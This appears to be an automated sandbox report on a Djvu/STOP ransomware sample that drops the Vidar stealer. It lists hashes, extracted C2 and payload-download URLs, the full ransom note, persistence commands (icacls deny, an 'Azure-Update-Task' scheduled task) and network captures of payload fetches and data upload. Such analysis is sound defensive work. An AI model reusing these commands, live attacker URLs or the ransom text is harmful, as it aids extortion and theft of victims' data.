Overview

overview

10

Static

static

3

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/05/2023, 16:30 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe

  • Size

    768KB

  • MD5

    dc8396334e68e4ad4a8de1ae8dd3fbe8

  • SHA1

    599785fc24bf60cc66234af1302e2afbdf7768c6

  • SHA256

    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7

  • SHA512

    cb93ef3312804bd26495e3dfe233e867ae245e90f1118571bf10666affa14a4b09ab92daa496a7c41cc8b81e01f83c7f48863ee6175df88f3996c2e5432e8a7d

  • SSDEEP

    12288:HCtXY6K5sQbD8/S4rFnsuCQF2ATjRzwYUFPX83RsyVE1fz8jtL8HVk/:HCl9KK68/FDCQFpTjdpUl831VyQZL8Hc

Score
10/10
djvuvidar9dfa7ee730fa2f1efb5ed51dbbec22f5discoverypersistenceransomwarespywarestealer

Malware Config

Extracted

Family

djvu

C2

http://zexeq.com/raud/get.php

Attributes
  • extension

    .xaro

  • offline_id

    uK3VnHYy6oibGbO8t2PDOMcT40gQoh5oUUCe2Lt1

  • payload_url

    http://colisumy.com/dl/build2.exe

    http://zexeq.com/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-otP8Wlz4eh Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@freshmail.top Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0709JOsie

rsa_pubkey.plain
1
-----BEGIN PUBLIC KEY-----
2
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1A3JriDO7u1CLkwKeW2f
3
xNsg1do1GzyuiF/NFBKvIJDFUj8EIurRbvMwBCavTVSLZGCsNKOrVG4w+c+5jqVo
4
0WCwPTf8YoQYZGWLH5wJGPeoQnQyXlK2hAPX8Z9G4xq8qPGbJnHWURuib9bLOf4j
5
7kr7TDJNcK6ZXOCX7L1FOgOQLtqRyRxC1tucQ1+SPftPimU8JQgtNp4czak+KQ84
6
nmHvwAdHA23pyzPlCOD529K8PKiFOYRGRaLY1iy+syBP09UT/cBK89zJQz34A9zy
7
6NoTkLOlOAxQCfiriS1UbIz1I/AUMIQOHvxWPVnZNOC450EDHzFOze8Ll5O2YvTn
8
BwIDAQAB
9
-----END PUBLIC KEY-----

Extracted

Family

vidar

Version

3.9

Botnet

9dfa7ee730fa2f1efb5ed51dbbec22f5

C2

https://steamcommunity.com/profiles/76561199263069598

https://t.me/cybehost
Attributes
  • profile_id_v2

    9dfa7ee730fa2f1efb5ed51dbbec22f5

  • user_agent

    Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian)

Signatures

  • Detected Djvu ransomware 15 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

    ransomwaredjvu
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    "C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3340
    • C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
      "C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe"
      2⤵
      • Checks computer location settings
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3572
      • C:\Windows\SysWOW64\icacls.exe
        icacls "C:\Users\Admin\AppData\Local\2b03e8c2-22cb-450f-a289-5fd00e70838f" /deny *S-1-1-0:(OI)(CI)(DE,DC)
        3⤵
        • Modifies file permissions
        PID:3952
      • C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
        "C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe" --Admin IsNotAutoStart IsNotTask
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3824
        • C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
          "C:\Users\Admin\AppData\Local\Temp\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe" --Admin IsNotAutoStart IsNotTask
          4⤵
          • Checks computer location settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4032
          • C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build2.exe
            "C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build2.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:1688
            • C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build2.exe
              "C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build2.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:4944
          • C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build3.exe
            "C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build3.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1276
            • C:\Windows\SysWOW64\schtasks.exe
              /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
              6⤵
              • Creates scheduled task(s)
              PID:1376
  • C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\schtasks.exe
      /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
      2⤵
      • Creates scheduled task(s)
      PID:4704

Network

  • flag-us
    DNS
    241.150.49.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.150.49.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    api.2ip.ua
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    8.8.8.8:53
    Request
    api.2ip.ua
    IN A
    Response
    api.2ip.ua
    IN A
    162.0.217.254
  • flag-nl
    GET
    https://api.2ip.ua/geo.json
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    162.0.217.254:443
    Request
    GET /geo.json HTTP/1.1
    User-Agent: Microsoft Internet Explorer
    Host: api.2ip.ua
    Response
    HTTP/1.1 429 Too Many Requests
    Date: Tue, 16 May 2023 16:30:47 GMT
    Server: Apache
    Strict-Transport-Security: max-age=63072000; preload
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block; report=...
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
    Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
    Upgrade: h2,h2c
    Connection: Upgrade
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    74.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    74.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    254.217.0.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    254.217.0.162.in-addr.arpa
    IN PTR
    Response
    254.217.0.162.in-addr.arpa
    IN PTR
    nondutiable-rshinitrdns web-hostingcom
  • flag-us
    DNS
    68.32.18.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    68.32.18.104.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    188.155.64.172.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    188.155.64.172.in-addr.arpa
    IN PTR
    Response
  • flag-nl
    GET
    https://api.2ip.ua/geo.json
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    162.0.217.254:443
    Request
    GET /geo.json HTTP/1.1
    User-Agent: Microsoft Internet Explorer
    Host: api.2ip.ua
    Response
    HTTP/1.1 429 Too Many Requests
    Date: Tue, 16 May 2023 16:30:49 GMT
    Server: Apache
    Strict-Transport-Security: max-age=63072000; preload
    X-Frame-Options: SAMEORIGIN
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block; report=...
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE
    Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type
    Upgrade: h2,h2c
    Connection: Upgrade
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    colisumy.com
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    8.8.8.8:53
    Request
    colisumy.com
    IN A
    Response
    colisumy.com
    IN A
    123.140.161.243
    colisumy.com
    IN A
    222.236.49.123
    colisumy.com
    IN A
    186.182.55.44
    colisumy.com
    IN A
    187.233.24.141
    colisumy.com
    IN A
    175.119.10.231
    colisumy.com
    IN A
    175.120.254.9
    colisumy.com
    IN A
    201.124.218.111
    colisumy.com
    IN A
    2.180.10.7
    colisumy.com
    IN A
    211.40.39.251
    colisumy.com
    IN A
    2.88.120.209
  • flag-us
    DNS
    zexeq.com
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    8.8.8.8:53
    Request
    zexeq.com
    IN A
    Response
    zexeq.com
    IN A
    175.119.10.231
    zexeq.com
    IN A
    211.119.84.112
    zexeq.com
    IN A
    187.156.23.248
    zexeq.com
    IN A
    211.171.233.129
    zexeq.com
    IN A
    175.120.254.9
    zexeq.com
    IN A
    201.124.218.111
    zexeq.com
    IN A
    2.180.10.7
    zexeq.com
    IN A
    211.40.39.251
    zexeq.com
    IN A
    210.182.29.70
    zexeq.com
    IN A
    187.212.183.201
  • flag-kr
    GET
    http://zexeq.com/raud/get.php?pid=8EE457F595FBDFA37C3B187EDE5A6D34&first=true
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    175.119.10.231:80
    Request
    GET /raud/get.php?pid=8EE457F595FBDFA37C3B187EDE5A6D34&first=true HTTP/1.1
    User-Agent: Microsoft Internet Explorer
    Host: zexeq.com
    Response
    HTTP/1.1 200 OK
    Date: Tue, 16 May 2023 16:30:50 GMT
    Server: Apache/2.4.37 (Win64) PHP/5.6.40
    X-Powered-By: PHP/5.6.40
    Content-Length: 560
    Connection: close
    Content-Type: text/html; charset=UTF-8
  • flag-kr
    GET
    http://colisumy.com/dl/build2.exe
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    123.140.161.243:80
    Request
    GET /dl/build2.exe HTTP/1.1
    User-Agent: Microsoft Internet Explorer
    Host: colisumy.com
    Response
    HTTP/1.1 200 OK
    Date: Tue, 16 May 2023 16:30:50 GMT
    Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
    Last-Modified: Tue, 16 May 2023 10:29:24 GMT
    ETag: "5ec00-5fbcd0b97d14c"
    Accept-Ranges: bytes
    Content-Length: 388096
    Connection: close
    Content-Type: application/octet-stream
  • flag-us
    DNS
    231.10.119.175.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    231.10.119.175.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    243.161.140.123.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    243.161.140.123.in-addr.arpa
    IN PTR
    Response
  • flag-kr
    GET
    http://zexeq.com/files/1/build3.exe
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Remote address:
    175.119.10.231:80
    Request
    GET /files/1/build3.exe HTTP/1.1
    User-Agent: Microsoft Internet Explorer
    Host: zexeq.com
    Response
    HTTP/1.1 200 OK
    Date: Tue, 16 May 2023 16:30:53 GMT
    Server: Apache/2.4.37 (Win64) PHP/5.6.40
    Last-Modified: Sat, 31 Jul 2021 08:44:14 GMT
    ETag: "2600-5c86757379380"
    Accept-Ranges: bytes
    Content-Length: 9728
    Connection: close
    Content-Type: application/x-msdownload
  • flag-us
    DNS
    t.me
    build2.exe
    Remote address:
    8.8.8.8:53
    Request
    t.me
    IN A
    Response
    t.me
    IN A
    149.154.167.99
  • flag-nl
    GET
    https://t.me/cybehost
    build2.exe
    Remote address:
    149.154.167.99:443
    Request
    GET /cybehost HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0
    Host: t.me
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Tue, 16 May 2023 16:30:54 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 12354
    Connection: keep-alive
    Set-Cookie: stel_ssid=ee52d91eb36542d894_16806924713174448092; expires=Wed, 17 May 2023 16:30:54 GMT; path=/; samesite=None; secure; HttpOnly
    Pragma: no-cache
    Cache-control: no-store
    X-Frame-Options: ALLOW-FROM https://web.telegram.org
    Content-Security-Policy: frame-ancestors https://web.telegram.org
    Strict-Transport-Security: max-age=35768000
  • flag-de
    GET
    http://167.235.199.208:8333/9dfa7ee730fa2f1efb5ed51dbbec22f5
    build2.exe
    Remote address:
    167.235.199.208:8333
    Request
    GET /9dfa7ee730fa2f1efb5ed51dbbec22f5 HTTP/1.1
    User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian)
    Host: 167.235.199.208:8333
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Tue, 16 May 2023 16:30:55 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    GET
    http://167.235.199.208:8333/config.zip
    build2.exe
    Remote address:
    167.235.199.208:8333
    Request
    GET /config.zip HTTP/1.1
    User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian)
    Host: 167.235.199.208:8333
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Tue, 16 May 2023 16:30:55 GMT
    Content-Type: application/zip
    Content-Length: 2685679
    Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT
    Connection: keep-alive
    ETag: "631f30d3-28faef"
    Accept-Ranges: bytes
  • flag-de
    POST
    http://167.235.199.208:8333/
    build2.exe
    Remote address:
    167.235.199.208:8333
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----0232256039286241
    User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko) (Debian)
    Host: 167.235.199.208:8333
    Content-Length: 343261
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Tue, 16 May 2023 16:30:58 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    99.167.154.149.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    99.167.154.149.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    23.249.124.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    23.249.124.192.in-addr.arpa
    IN PTR
    Response
    23.249.124.192.in-addr.arpa
    IN PTR
    cloudproxy10023sucurinet
  • flag-us
    DNS
    208.199.235.167.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    208.199.235.167.in-addr.arpa
    IN PTR
    Response
    208.199.235.167.in-addr.arpa
    IN PTR
    static208199235167clients your-serverde
  • flag-us
    DNS
    13.86.106.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.86.106.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    86.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    86.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    171.39.242.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    171.39.242.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    44.8.109.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    44.8.109.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    2.36.159.162.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    2.36.159.162.in-addr.arpa
    IN PTR
    Response
  • 162.0.217.254:443
    https://api.2ip.ua/geo.json
    tls, http
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    1.0kB
     8.1kB
     14
    10

    HTTP Request

    GET https://api.2ip.ua/geo.json

    HTTP Response

    429
  • 162.0.217.254:443
    https://api.2ip.ua/geo.json
    tls, http
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    1.2kB
     8.2kB
     17
    12

    HTTP Request

    GET https://api.2ip.ua/geo.json

    HTTP Response

    429
  • 175.119.10.231:80
    http://zexeq.com/raud/get.php?pid=8EE457F595FBDFA37C3B187EDE5A6D34&first=true
    http
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    412 B
     976 B
     6
    5

    HTTP Request

    GET http://zexeq.com/raud/get.php?pid=8EE457F595FBDFA37C3B187EDE5A6D34&first=true

    HTTP Response

    200
  • 123.140.161.243:80
    http://colisumy.com/dl/build2.exe
    http
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    13.4kB
     400.0kB
     290
    289

    HTTP Request

    GET http://colisumy.com/dl/build2.exe

    HTTP Response

    200
  • 175.119.10.231:80
    http://zexeq.com/files/1/build3.exe
    http
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    646 B
     10.5kB
     12
    11

    HTTP Request

    GET http://zexeq.com/files/1/build3.exe

    HTTP Response

    200
  • 149.154.167.99:443
    https://t.me/cybehost
    tls, http
    build2.exe
    1.5kB
     19.5kB
     24
    20

    HTTP Request

    GET https://t.me/cybehost

    HTTP Response

    200
  • 167.235.199.208:8333
    http://167.235.199.208:8333/
    http
    build2.exe
    460.4kB
     2.8MB
     2249
    2140

    HTTP Request

    GET http://167.235.199.208:8333/9dfa7ee730fa2f1efb5ed51dbbec22f5

    HTTP Response

    200

    HTTP Request

    GET http://167.235.199.208:8333/config.zip

    HTTP Response

    200

    HTTP Request

    POST http://167.235.199.208:8333/

    HTTP Response

    200
  • 52.152.108.96:443
    260 B
     5
  • 40.79.141.154:443
    322 B
     7
  • 173.223.113.164:443
    322 B
     7
  • 173.223.113.131:80
    322 B
     7
  • 204.79.197.203:80
    322 B
     7
  • 8.8.8.8:53
    241.150.49.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    241.150.49.20.in-addr.arpa

  • 8.8.8.8:53
    api.2ip.ua
    dns
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    56 B
     72 B
     1
    1

    DNS Request

    api.2ip.ua

    DNS Response

    162.0.217.254

  • 8.8.8.8:53
    74.32.126.40.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    74.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    254.217.0.162.in-addr.arpa
    dns
    72 B
     126 B
     1
    1

    DNS Request

    254.217.0.162.in-addr.arpa

  • 8.8.8.8:53
    68.32.18.104.in-addr.arpa
    dns
    71 B
     133 B
     1
    1

    DNS Request

    68.32.18.104.in-addr.arpa

  • 8.8.8.8:53
    188.155.64.172.in-addr.arpa
    dns
    73 B
     135 B
     1
    1

    DNS Request

    188.155.64.172.in-addr.arpa

  • 8.8.8.8:53
    colisumy.com
    dns
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    58 B
     218 B
     1
    1

    DNS Request

    colisumy.com

    DNS Response

    123.140.161.243
    222.236.49.123
    186.182.55.44
    187.233.24.141
    175.119.10.231
    175.120.254.9
    201.124.218.111
    2.180.10.7
    211.40.39.251
    2.88.120.209

  • 8.8.8.8:53
    zexeq.com
    dns
    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    55 B
     215 B
     1
    1

    DNS Request

    zexeq.com

    DNS Response

    175.119.10.231
    211.119.84.112
    187.156.23.248
    211.171.233.129
    175.120.254.9
    201.124.218.111
    2.180.10.7
    211.40.39.251
    210.182.29.70
    187.212.183.201

  • 8.8.8.8:53
    231.10.119.175.in-addr.arpa
    dns
    73 B
     132 B
     1
    1

    DNS Request

    231.10.119.175.in-addr.arpa

  • 8.8.8.8:53
    243.161.140.123.in-addr.arpa
    dns
    74 B
     143 B
     1
    1

    DNS Request

    243.161.140.123.in-addr.arpa

  • 8.8.8.8:53
    t.me
    dns
    build2.exe
    50 B
     66 B
     1
    1

    DNS Request

    t.me

    DNS Response

    149.154.167.99

  • 8.8.8.8:53
    99.167.154.149.in-addr.arpa
    dns
    73 B
     166 B
     1
    1

    DNS Request

    99.167.154.149.in-addr.arpa

  • 8.8.8.8:53
    23.249.124.192.in-addr.arpa
    dns
    73 B
     113 B
     1
    1

    DNS Request

    23.249.124.192.in-addr.arpa

  • 8.8.8.8:53
    208.199.235.167.in-addr.arpa
    dns
    74 B
     133 B
     1
    1

    DNS Request

    208.199.235.167.in-addr.arpa

  • 8.8.8.8:53
    13.86.106.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    13.86.106.20.in-addr.arpa

  • 8.8.8.8:53
    86.23.85.13.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    86.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    171.39.242.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    171.39.242.20.in-addr.arpa

  • 8.8.8.8:53
    44.8.109.52.in-addr.arpa
    dns
    70 B
     144 B
     1
    1

    DNS Request

    44.8.109.52.in-addr.arpa

  • 8.8.8.8:53
    2.36.159.162.in-addr.arpa
    dns
    71 B
     133 B
     1
    1

    DNS Request

    2.36.159.162.in-addr.arpa

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\mozglue.dll
    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    Download Submit

  • C:\ProgramData\nss3.dll
    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
    Filesize

    2KB

    MD5

    91425cdf7f700e70ded152906a8897d4

    SHA1

    91934f4da3b05318a7f9c13772c3148502095f90

    SHA256

    3d84c7f6ae4a5c248c01b6c0821b9df6931d93453d2cdd98b6acb14715d2662b

    SHA512

    f76c4f299d06decf930463e3d642edf25e099ab1a6cc4f24e5b91bc37d4aacf373733d98d87407b23e28569719721c1e0bed90d99338514e4be1788b329ef348

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
    Filesize

    1KB

    MD5

    a9a657bb9fbf982c38587ee2b9590a7d

    SHA1

    ba348aa472b2d143c829cd5a764605b8e22a353c

    SHA256

    d08e18ff8411d67ed596edcbf1aa36365d0cab8f4de48c7abfdb4062c4ab2b9c

    SHA512

    1dcfba62c5977a3dcdf70f3fb46f6e16ab2542b68d6ebbbc4bce76c0edc4982af8ad9e4afe1d71fd3f222e01da404254e6cfdb02605ba73e21987f09522d33e1

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850D
    Filesize

    488B

    MD5

    8657b2f90bcd1872f6014ff392fe149d

    SHA1

    fa04072c176972ade190f5a4633f67ee33144ebd

    SHA256

    a218e8f0e7f4be9cbf195740a020143952f127b5834a808120c7e9e344932f8a

    SHA512

    9e3d1e816380abb70acd495cec84dd02ce18d2b07a61a7fd5cac6435729bc64616040994554935a3ec31d08910f08f62ad9fe5231d6d86f2317380b5dddf62b4

    Download Submit

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711E
    Filesize

    482B

    MD5

    add0baf55a28a969934e3b35f5ce6311

    SHA1

    fa73621accc0432454eb18f57fc4513c4baca40a

    SHA256

    dcb4287db9df6b168a779a7f4df0ca0e6436f4d0ba39dad97cd47ca1914eac47

    SHA512

    3026cc006786e8fd7d475e05a4731546f48215d0ea842a60a7859c133567b3a579134b563bc4afa898ded6995a98e90fc2abd4443dd8aee8248bd6bb724b77c8

    Download Submit

  • C:\Users\Admin\AppData\Local\2b03e8c2-22cb-450f-a289-5fd00e70838f\3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7.exe
    Filesize

    768KB

    MD5

    dc8396334e68e4ad4a8de1ae8dd3fbe8

    SHA1

    599785fc24bf60cc66234af1302e2afbdf7768c6

    SHA256

    3ba596f2ab041a5f183dc3040a895545a379cf70939278f70aa79aaa5f12e8b7

    SHA512

    cb93ef3312804bd26495e3dfe233e867ae245e90f1118571bf10666affa14a4b09ab92daa496a7c41cc8b81e01f83c7f48863ee6175df88f3996c2e5432e8a7d

    Download Submit

  • C:\Users\Admin\AppData\Local\f2b51f3c-50f2-409c-8514-56a180d1d90d\build2.exe
    Filesize

    379KB

    MD5

    37b6aab56a0f770ce58a670322361a1c

    SHA1

